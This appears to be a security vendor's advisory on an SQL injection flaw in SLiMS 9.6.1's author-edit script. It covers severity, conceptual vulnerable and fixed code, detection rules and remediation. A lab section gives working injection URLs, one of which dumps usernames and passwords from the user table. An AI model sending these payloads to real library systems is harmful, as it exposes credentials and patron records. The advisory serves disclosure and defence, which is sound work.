CVE-2025-45820

Executive Summary

CVE-2025-45820 identifies a critical SQL Injection vulnerability in Slims (Senayan Library Management Systems) version 9 Bulian 9.6.1. The flaw resides in the admin/modules/bibliography/pop_author_edit.php file, allowing an unauthenticated attacker to inject arbitrary SQL commands via crafted input. Successful exploitation could lead to unauthorized data access, modification, or complete database compromise. This vulnerability is particularly dangerous as it targets the administrative interface of a widely used library management system, potentially exposing sensitive patron and bibliographic records. No official patch or advisory has been released at the time of analysis.

Supply Chain & Package Security

This vulnerability affects a self-hosted PHP application (Slims). There is no NPM, PyPI, Go, or Ruby package involved. The risk is primarily to organizations that have deployed Slims 9.6.1 on their own infrastructure. The lack of a patch increases the urgency for manual mitigation.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The vulnerability is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the database are the same.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to full database compromise.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the pop_author_edit.php script. This script is part of the bibliography module and is used to edit author information. The flaw likely stems from insufficient sanitization of user-supplied input passed to a SQL query, likely via a GET or POST parameter (e.g., authorID).

Mechanism:

1. An attacker sends a crafted HTTP request to the vulnerable endpoint.
2. The application takes a parameter (e.g., id or author_id) and directly concatenates it into a SQL query without proper escaping or parameterization.
3. The attacker can inject SQL keywords and operators to alter the query's logic.
4. The database executes the malicious query, returning or modifying data as instructed.

Example vulnerable code pattern (conceptual):

$id = $_GET['id'];
$query = "SELECT * FROM author WHERE author_id = $id";
$result = mysqli_query($conn, $query);

Impact:

• Data Exfiltration: Dump the entire database, including user credentials, patron records, and bibliographic data.
• Authentication Bypass: Modify SQL to bypass login checks.
• Privilege Escalation: Inject commands to create admin accounts.
• Remote Code Execution (RCE): In some database configurations, xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL) can lead to OS command execution.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// admin/modules/bibliography/pop_author_edit.php
$author_id = $_GET['author_id'];
$query = "SELECT * FROM author WHERE author_id = $author_id";
$result = mysqli_query($conn, $query);

Patched Code (Conceptual):

// admin/modules/bibliography/pop_author_edit.php
$author_id = intval($_GET['author_id']); // Cast to integer
$query = "SELECT * FROM author WHERE author_id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $author_id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

Key Differences:

• Input Validation: The patched code uses intval() to ensure the input is an integer.
• Parameterized Query: The patched code uses a prepared statement with a placeholder (?), preventing SQL injection entirely.
• No Official Patch: As of this report, no official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install Slims 9.6.1 on a local server (e.g., XAMPP, LAMP).
2. Ensure the application is accessible via http://localhost/slims/.
3. Identify the vulnerable endpoint: http://localhost/slims/admin/modules/bibliography/pop_author_edit.php.

Exploitation Steps:

1. Basic Detection: Send a request with a single quote to test for SQL injection.

   http://localhost/slims/admin/modules/bibliography/pop_author_edit.php?author_id=1'
   

   If an error is returned (e.g., MySQL error), the endpoint is vulnerable.

2. Boolean-Based Blind Injection: Use OR 1=1 to force a true condition.

   http://localhost/slims/admin/modules/bibliography/pop_author_edit.php?author_id=1 OR 1=1
   

3. Union-Based Injection: Extract data using UNION SELECT.

   http://localhost/slims/admin/modules/bibliography/pop_author_edit.php?author_id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   

4. Data Exfiltration: Dump the admin table.

   http://localhost/slims/admin/modules/bibliography/pop_author_edit.php?author_id=1 UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM user--
   

No Exploit-DB code was provided.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to pop_author_edit.php with unusual parameters (e.g., author_id=1 OR 1=1).
• Look for SQL error messages in HTTP responses (e.g., You have an error in your SQL syntax).
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Mitigation:

• Immediate: Disable the vulnerable script or restrict access to it via .htaccess or firewall rules.
• Short-term: Apply the conceptual patch (parameterized queries) to the affected file.
• Long-term: Upgrade to a patched version when available. Conduct a full security audit of the application.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /admin/modules/bibliography/pop_author_edit.php with parameters containing SQL keywords (UNION, SELECT, OR, AND, --, #).
• Unusual response sizes or SQL error messages in HTTP responses.
• Outbound database connections from the web server to unknown IPs (data exfiltration).

File IOCs:

• Modified pop_author_edit.php file (if attacker patches it).
• Presence of web shells or backdoors in the admin/ directory.

Log IOCs:

• Web server logs showing repeated requests to the vulnerable endpoint with varying author_id values.
• Database logs showing anomalous queries (e.g., UNION SELECT statements).

Detection Engineering

YARA Rule

rule CVE_2025_45820_SQLi_Slims {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-45820 in Slims"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-45820"
    strings:
        $s1 = "pop_author_edit.php" nocase
        $s2 = "author_id=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "OR 1=1" nocase
        $s6 = "1=1" nocase
    condition:
        $s1 and $s2 and (any of ($s3, $s4, $s5, $s6))
}

Sigma Rule

title: SQL Injection Attempt Against Slims CVE-2025-45820
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting pop_author_edit.php in Slims 9.6.1
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'pop_author_edit.php'
            - 'author_id='
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION in a custom query (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-45820 SQL Injection Attempt"; flow:to_server; content:"GET"; http_method; content:"pop_author_edit.php"; http_uri; content:"author_id="; http_uri; pcre:"/(UNION|SELECT|OR\s+1=1|1=1)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable script: Rename or remove pop_author_edit.php if not essential.
2. Restrict access: Use .htaccess to limit access to the admin/ directory by IP or require authentication.
3. Apply a WAF rule: Block requests containing SQL injection patterns (e.g., UNION, SELECT, OR 1=1).

Short-term Actions:

1. Patch the code: Apply the parameterized query fix to pop_author_edit.php.
2. Audit other scripts: Check for similar vulnerabilities in other pop_*.php files.
3. Update credentials: Change all database and admin passwords.

Long-term Actions:

1. Monitor for patches: Subscribe to Slims security advisories.
2. Upgrade: When a patched version is released, upgrade immediately.
3. Security training: Educate developers on secure coding practices (OWASP Top 10).

Valters IT – Securing your digital frontier.